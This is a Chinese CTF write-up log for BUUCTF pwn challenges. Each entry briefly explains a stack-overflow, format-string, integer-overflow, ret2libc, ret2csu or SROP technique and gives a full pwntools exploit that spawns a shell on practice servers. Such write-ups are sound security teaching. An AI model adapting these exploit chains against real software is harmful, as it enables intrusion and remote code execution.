pwn | buuctf刷题记录(一)
test_your_nc
nc连上去就是一个shell
pwn1
gets栈溢出,ret2text
打远程的时候遇到如下报错,原因可能有两个
timeout: the monitored command dumped core
一是get_flag后未正常退出,需要给get_flag的返回地址写个exit
二是栈未对齐,导致程序异常退出,如下所示,ret时rsp为...968
成功进入system函数后,继续运行,程序在...e3c这里断下来了
指令为
movaps xmmword ptr [rsp + 0x50], xmm0
百度一下,就是说此时rsp为...5c8,rsp+0x50不是0x10对齐的,程序就会崩溃
解决方法是在原来返回地址处写入一个ret指令,栈顶整体下移8个字节,使之对齐 0x10, 如下所示,两次ret后,栈顶地址变为了...200,此后进入system函数就满足了对齐条件
exp:
from pwn import *
content = 1
if content:
p = remote("node4.buuoj.cn", 29459)
else:
p = process("./pwn1")
elf = ELF("./pwn1")
magic_addr = elf.symbols["fun"]
ret_addr = 0x401185
print (hex(magic_addr))
payload = b"a"*15 + b"b"*8 + p64(ret_addr) + p64(magic_addr)
p.sendline(payload)
p.sendline("cat flag")
p.interactive()
warmup_csaw_2016
gets栈溢出,ret2text
from pwn import *
p = remote('node4.buuoj.cn', 29126)
payload=b'a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()
ciscn_2019_n_1
gets栈溢出,ret2text
from pwn import *
context.arch = 'amd64'
io = process("./ciscn_2019_n_1")
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()
pwn1_sctf
strcpy栈溢出,ret2text
from pwn import *
context(os = 'linux', arch='amd64', log_level='debug')
magic_addr = 0x8048F0D
#p = process('./pwn1_sctf_2016')
p = remote('node4.buuoj.cn', 29396)
payload = b'I'*20 + 4*b'a' + p32(magic_addr)
p.sendline(payload)
p.interactive()
jarvisoj_level0
read栈溢出,re2text
from pwn import *
p = remote("node3.buuoj.cn",xxxx)
ret_arr = 0X40059A
payload = 'a'*(0x80 + 0x8) + p64(ret_arr)
p.sendline(payload)
p.interactive()
pwn5
printf格式化字符串可控,任意地址写
如图,偏移为10
bss段上的数据为4个字节,需要全部覆盖,分4次写入0x10
from pwn import*
r=remote('node3.buuoj.cn',26959)
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'
r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()
ciscn_2019_c1
gets栈溢出,ret2libc
payload首字节写入'\x00',在14行这里绕过加密逻辑
分两次溢出,第一次泄露libc地址,布局为pop_rdi->puts_got->puts_plt->main
第二次get_shell,ubuntu18.04以上环境,要注意栈对齐,布局为ret->pop_rdi->binsh->system
from pwn import*
r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)
offset=puts_addr-0x0809c0
binsh=offset+0x1b3e9a
system=offset+0x04f440
r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()
ciscn_2018_n8
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11))
p.interactive()
jarvisoj_level2
read栈溢出,ret2libc
栈布局:call_system_addr->bin_sh_addr
from pwn import *
s=remote("node4.buuoj.cn",29008)
payload='a'*0x88+'a'*4+p32(0x0804845C)+p32(0x0804a024)
s.sendline(payload)
s.interactive()
bjdctf_2020_babystack
read栈溢出,ret2text
计算偏移的时候要注意一下,有的程序main函数开头是没有压ebp的,ida看函数栈帧可以看出来,s是saved_ebp,r是返回地址,下面这个就是没有压ebp的
下面这个是压了ebp的
from pwn import*
r=remote('node4.buuoj.cn',28945)
shell_addr=0x4006e6
r.sendline('100')
payload='a'*(0x10+8)+p64(shell_addr)
r.sendline(payload)
r.interactive()
get_started_3dsctf_2016
gets栈溢出
法一:利用后门函数,直接getFlag,用exit函数让程序正常退出
from pwn import *
context(os="linux", arch="i386", log_level="debug")
q = process("./get_started_3dsctf_2016")
# 0x080489A0为get_flag函数入口地址
# 0x0804E6A0为exit函数入口地址
payload = cyclic(0x38) + p32(0x080489B8) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
q.sendline(payload)
q.recvline()
法二:mprotect修改内存页权限,ret2shellcode
ctrl+s调出段表,选择80eb000作为要修改的起始地址,不选bss段的原因是没有4k对齐(mprotect函数只能传入内存页起始地址作为参数)
mprotect函数原型:
int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len 修改内存的长度
prot 内存的权限
故栈布局为:mprotect_addr->pppr->mem_addr->mem_size->mem_prot->read_addr->pppr->0->mem_addr->size->mem_addr
from pwn import *
elf = ELF('./get_started_3dsctf_2016')
r=remote('node4.buuoj.cn', 28267)
pop3_ret = 0x804951D
mem_addr = 0x80EB000
mem_size = 0x1000
mem_proc = 0x7
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
payload = b'A' * 0x38
payload += p32(mprotect_addr)
payload += p32(pop3_ret)
payload += p32(mem_addr)
payload += p32(mem_size)
payload += p32(mem_proc)
payload += p32(read_addr)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(mem_addr)
payload += p32(0x100)
payload += p32(mem_addr)
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
babyrop
read栈溢出,ret2libc
输入\x00
,使strlen返回0,绕过检测
然后就是两次read栈溢出,第一次用write泄露libc,第二次get_shell
from pwn import *
r = remote('node4.buuoj.cn',26832)
context.log_level = 'debug'
elf = ELF('./babyrop')
libc = ELF('./libc-2.23.so')
libc_binsh = libc.search(b'/bin/sh').__next__()
payload = '\x00'+'\xff'*7
r.sendline(payload)
r.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(0x80487cf)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc_base = write_addr - 0x000d43c0
system_addr = libc_base+0x3a940
bin_sh_addr = libc_base+libc_binsh
r.sendline(payload)
r.recvuntil("Correct\n")
payload2 = b'a'*0xe7+b'a'*4+p32(0x80487cf)+p32(system_addr)+p32(0x80487c7)+p32(bin_sh_addr)
r.sendline(payload2)
r.sendline("cat flag")
r.interactive()
level2_x64
read栈溢出,ret2text
from pwn import *
context(log_level = 'debug')
elf = ELF('./level2_x64')
p = remote('node4.buuoj.cn',28865)
systemaddr=0x400603
shelladdr=0x600a90
rdiaddr=0x4006b3
payload= b'a'*(0x80+8)+p64(rdiaddr)+p64(shelladdr)+p64(systemaddr)
p.sendline(payload)
p.interactive()
babyrop2
scanf栈溢出,ret2text
from pwn import*
r=remote('node4.buuoj.cn',29409)
shell=0x601048
system=0x400496
rdi=0x400683
payload=b'a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
r.sendline(payload)
r.interactive()
ciscn_2019_en_2
gets栈溢出,ret2text
一毛一样,怎么全是这种题啊,曲线也太平滑了
from pwn import*
r=remote('node3.buuoj.cn',28214)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)
offset=puts_addr-0x0809c0
binsh=offset+0x1b3e9a
system=offset+0x04f440
r.sendlineafter('choice!\n','1')
payload=b'\x00'+b'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()
ciscn_2019_n_5
gets栈溢出,ret2shellcode
IDA查看bss段没有执行权限
gdb查看bss段有执行权限
说明还是要以动态的为准
两次输入,一次在bss段输入shellcode,一次溢出把返回地址打向bss段
from pwn import *
context.log_level="debug"
p=remote("node4.buuoj.cn",27210)
context.arch="amd64"
shellcode=asm(shellcraft.sh())
name_addr=0x601080
p.recvuntil("name\n")
p.sendline(shellcode)
p.recvuntil("?\n")
payload=b"A"*0x28+p64(name_addr)
p.sendline(payload)
p.interactive()
not_the_same_3dsctf_2016
gets栈溢出,ret2text
不要忘了搜一下system\bin_sh\flag等关键词,可能会有意外发现哦
from pwn import *
context.log_level='debug'
p = remote('node3.buuoj.cn',29167)
elf = ELF('./not_the_same_3dsctf_2016')
write_addr = elf.sym['write']
get_flag = 0x080489A0
flag_bss = 0x080ECA2D
payload = b'a'*(0x2D) + p32(get_flag)+ p32(write_addr)+ 'a'*4 +p32(1) + p32(flag_bss) + p32(45)
p.sendline(payload)
p.interactive()
others_shellcode
通过11号系统调用,直接返回了一个shell
ciscn_2019_ne_5
strcpy栈溢出,ret2text
搜/bin/sh没有搜到,然后用ROPgadget搜sh搜到了
返回ida里查看原来是这玩意,醉了
是符号表里的字符串,这样用人家对fflush礼貌吗?
from pwn import *
p=remote("node4.buuoj.cn",25653)
p.recvuntil(":")
p.sendline("administrator")
p.recvuntil(":")
p.sendline("1")
system=0x80484D0
sh=0x080482ea
payload=b"A"*(0x4c)+p32(system)+b"0000"+p32(sh)
p.sendline(payload)
p.recvuntil(":")
p.sendline("4")
p.interactive()
2018_rop
read栈溢出,ret2libc
第一次溢出,泄露libc,用write把write_got值打出来,返回main
第二次溢出,get_shell
from pwn import *
r=remote('node4.buuoj.cn',29022)
elf=ELF('./2018_rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libc_base=write_addr-0xe56f0
system_addr=libc_base+0x3cd10
bin_sh=libc_base+0x17b8cf
payload=b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
r.sendline(payload)
r.interactive()
bjdctf_2020_babyrop
from pwn import *
p=remote("node4.buuoj.cn",28879)
elf=ELF("./bjdctf_2020_babyrop")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
p.recvuntil(b"story!\n")
pop_rdi_ret=0x400733
start=0x400530
ret=0x400734
payload1=b"A"*(0x28)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start)
p.sendline(payload1)
puts=u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print(hex(puts))
libcbase=puts-0x6f690
system=libcbase+0x45390
str_bin_sh=libcbase+0x18cd57
payload2=b"A"*(0x28)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system)
p.recvuntil(b"story!\n")
p.sendline(payload2)
p.interactive()
bjdctf_2020_babystack2
整数溢出导致read栈溢出,ret2text
输入的length为无符号类型,17行判断大小时被转化为了有符号数,23行read时又被转化为了无符号数,存在整数溢出漏洞,输入一个大于0x7fffffff的数,在17行这里被转化为负数,可以绕过判断,进而导致read栈溢出
#!/usr/bin/python2
#coding=utf-8
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
p = remote("node4.buuoj.cn", 25118)
backdoor = 0x400727
p.sendlineafter("length of your name:", "2147483648")
payload = b"a" * 0x18 + p64(backdoor)
p.sendlineafter("name?", payload)
p.sendline("cat flag")
p.interactive()
fm
printf格式化字符串可控,任意地址写
偏移为11,在0804A02C处(原值为0)一次性写入4
from pwn import *
p = remote("node4.buuoj.cn", 25723)
payload = p32(0x0804A02C) + b"%11$n"
p.sendline(payload)
ciscn_2019_es_2
read栈溢出,printf泄露ebp,ret2text
read输入字节数较少,只能刚好覆盖返回地址,没办法布置rop链
利用printf可以把ebp泄露出来,定位s变量的栈地址,故考虑栈劫持,将栈迁移到s变量位于的可控区域范围内,步骤为泄露ebp->布置rop链->栈劫持
首先是泄露ebp,printf把saved_ebp打出来
payload='a'*0x20+'b'*8
定位s的栈地址,如下所示,off = 0xffe598e8-0xffe598b0=0x38,即s_addr = old_ebp-0x38
布置rop链,system->0xdeadbeef->bin_sh_addr,程序中没有/bin/sh字符串,可以写到栈上,反正栈上的地址都已经知道了,前面那个'a'*4对应栈迁移后新的ebp位置
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
关键一步栈劫持,就是往ebp这里写入s变量的起始地址,用于抬高ebp至s处,同时在返回地址处写入leave_ret的指令地址,用于抬高esp至s处
payload2+=p32(ebp-0x38)+p32(leave_ret)
总结下rop链的执行流程:
-
vul函数的leave指令执行后,ebp被抬高至s处
-
vul函数的ret指令执行后,控制流被打向leave_ret代码
-
leave指令执行后,esp指向我们写入的system地址
-
ret指令执行后,getshell
总结下栈劫持的基本条件:
- 程序中有printf等函数能泄露ebp
- 程序至少要出现两次read溢出,一次泄露,一次迁移
#!/usr/bin/python
from pwn import *
#a=remote("node3.buuoj.cn",26501)
a=process("ciscn_2019_es_2")
context(arch='i386',os='linux',log_level='debug')
sys=0x8048400
leave_ret=0x08048562
a.recvuntil("Welcome, my friend. What's your name?")
payload='a'*0x20+'b'*8
a.send(payload)
a.recvuntil("bbbbbbbb")
ebp=u32(a.recv(4))
print (hex(ebp))
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
print (payload2)
#gdb.attach(a)
a.send(payload2)
a.interactive()
jarvisoj_tell_me_something
read栈溢出,ret2text
from pwn import *
r=remote('node4.buuoj.cn',25062)
flag_addr=0x400620
payload='a'*(0x88)+p64(flag_addr)
r.sendline(payload)
r.interactive()
[HarekazeCTF2019]baby_rop2
read栈溢出,ret2libc
只有一个printf可以用作泄露libc,用到rdi和rsi两个寄存器,只有下面这两个gagdet可以用
第一个参数就用这个现成的吧,有个%s
第二个参数给个read_got,还有一个r15用不到,给个0吧
from pwn import *
#start
r = remote("node4.buuoj.cn",26613)
# r = process("./baby_rop2")
elf = ELF("./baby_rop2")
#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770
#attack
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
r.recv()
r.sendline(payload)
read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("read_addr: " + hex(read_addr))
#libc
base_addr = read_addr - 0xf7250
system_addr = base_addr + 0x45390
bin_sh_addr = base_addr + 0x18cd57
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))
#attack2
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline(payload)
r.interactive()
pwn2_sctf_2016
整数溢出导致read栈溢出,ret2libc
atoi返回有符号数,下面的get_n强转为了无符号数,导致整数溢出,可以输入最多0xffffffff个字节
然后就是printf泄露libc地址,getshell
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'
#sh = process('./pwn2_sctf_2016')
sh = remote('node4.buuoj.cn',25368)
elf = ELF('./pwn2_sctf_2016')
libc = ELF('./x86-libc-2.23.so')
atoi_got_addr = elf.got['atoi']
printf_plt_addr = elf.plt['printf']
formatstr_addr = 0x80486f8 # %s
main_addr = elf.symbols['main']
fakeebp = 0x4
offset = 0x2c + fakeebp #48字节
#利用printf函数来leak在libc中的atoi函数
leak_payload = 'a' * offset
leak_payload+= p32(printf_plt_addr) + p32(main_addr) + p32(formatstr_addr) + p32(atoi_got_addr)
sh.sendlineafter('How many bytes do you want me to read?','-1')
sh.sendlineafter('bytes of data!\n',leak_payload)
sh.recvuntil('You said: ')#这里是接收main函数执行完的输出
sh.recvuntil('You said: ')#这里才是接收rop链造成的输出,leak出的地址在这里面
atoi_realaddr = u32(sh.recvuntil('\xf7')[-4:])
log.success('leak_atoi_real_addr => {}'.format(hex(atoi_realaddr)))
base_addr = atoi_realaddr - libc.symbols['atoi']
system_addr = libc.symbols['system'] + base_addr
binsh_addr = libc.search('/bin/sh').next() + base_addr
payload = 'a' * offset + p32(system_addr) + p32(main_addr) + p32(binsh_addr)
sh.sendlineafter('How many bytes do you want me to read?','-1')
sh.sendlineafter('bytes of data!\n',payload)
sh.sendline('cat flag')
sh.interactive()
jarvisoj_level3
read栈溢出,retlibc
write泄露libc,get_shell
from pwn import*
p=remote('node4.buuoj.cn',26020)
elf=ELF('level3')
libc=ELF('./libc-2.23.so')
write_got=elf.got['write']
write_plt=elf.plt['write']
vuln=0x0804844b
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh\x00').__next__()
p.recvuntil('Input:\n')
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()
ciscn_2019_s_3
read栈溢出,泄露栈地址,ret2csu,srop
没有调用libc函数,不考虑ret2libc
有syscall,考虑用execve("/bin/sh", NULL, NULL),"/bin/sh"只能自己往栈上写,故需要泄露栈地址
有直接控制rax、rdi、rsi的gadget,还差一个rdx,衍生两种解法,ret2csu和srop
- 泄露栈地址
只有一次read的机会,这一次必须就覆盖返回地址,故不能泄露ebp,那栈上还有没有保存其他的栈地址?当然有,就是下面这个main函数的argv参数,它是指向命令行参数的指针数组的首地址(也可以说是指向指针的指针),这个指针数组是存放在栈上的,那它的首地址必然也是一个栈地址,作为main的参数,它被放到了rsi中,然后被存放到了栈上,如下所示
利用sys_write可以把这个值打出来,然后减去0x148(不同libc该偏移不同),即为buf地址
PS:在read栈溢出计算偏移时,需注意这个vul函数没有leave指令,直接把rbp给ret了
- 解法一:ret2csu
libcsu_init函数被用作初始化,其内部对多个寄存器做了控制,故可以用来做利用的gadget,用到的是下面这两段
我们的目标是控制rdx,那只要在400596这段代码里控制r13=0,跳到400580代码中即可让rdx=r13=0
有三点需要注意:
- cmp rbx, rbp,要让其相等,才不会继续进入循环
- call [r12+rbx*8]这里有个跳转,可以让rbx=0,r12指向栈上一个存放了ret指令地址的位置,这样可以避免跳转,程序继续向下面的40058d执行
- 继续向下执行,会pop六次,以及拉低rsp一次,布置rop需留意
总结下步骤:写入/bin/sh->rax赋值为0x3b->跳到loc_400596->跳到loc_400580->call继续向下执行->pop_rdi->syscall
先放exp:
from pwn import *
p = process("./ciscn_s_3")
main_addr = 0x40051d
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
buf_addr = stack_addr-0x148
print ('buf_addr-->' + hex(buf_addr))
pop_rdi = 0x4005a3
syscall = 0x400501
vul_addr = 0x4004ed
ret_addr = 0x4003a9
print(proc.pidof(p))
pause()
payload = p64(ret_addr) + b'/bin/sh\0'
payload += p64(0x4004e2) # rax=0x3b
payload += p64(0x40059a) # rdx = 0
payload += p64(0) + p64(1) # rbx = 0, rbp = 1
payload += p64(buf_addr) + p64(0) * 3 # r12 = buf_addr
payload += p64(0x400580)
payload += p64(0) * 7 #pop六次,以及拉低rsp一次
payload += p64(pop_rdi) + p64(buf_addr + 8) # rdi = &'/bin/sh\0'
payload += p64(syscall)
payload += p64(vul_addr)
p.send(payload)
p.interactive()
调试情况如下:
rax置0x3b
loc_400596
loc_400580
call r12,继续向下执行
rbx=rbp,不跳转
接连几个pop
pop_rdi,syscall
- 解法二:srop
linux处理signal流程如下图所示,在程序接收到signal信号时会去①保存上下文环境(即各种寄存器),接下来走到②执行信号处理函数,处理完后③恢复相关栈环境,④继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环境这个环节直接设定相关寄存器的值
题目已经给了0xf的syscall(对应③这个环节),答案都甩脸上了
pwntool能够直接生成栈环境的布局
from pwn import *
context.arch = 'amd64'
p = process("./ciscn_s_3")
#p=remote('node4.buuoj.cn',26020)
main_addr = 0x40051d
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
buf_addr = stack_addr-0x148
print ('buf_addr-->' + hex(buf_addr))
syscall = 0x400517
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf_addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
payload = b'/bin/sh\0'.ljust(0x10, b'a') + p64(0x4004da) + p64(syscall) + bytes(sigframe)
p.send(payload)
p.interactive()
简单粗暴是不是
picoctf_2018_rop chain
gets栈溢出,ret2text
栈布局:win1->win2->flag->0xBAAAAAAD->0xDEADBAAD
from pwn import *
r = remote("node4.buuoj.cn", 27297)
win_function1 = 0x080485CB
win_function2 = 0x080485D8
flag = 0x0804862B
payload = b"a" * 0x1c
payload += p32(win_function1)
payload += p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
r.sendlineafter("input> ", payload)
r.interactive()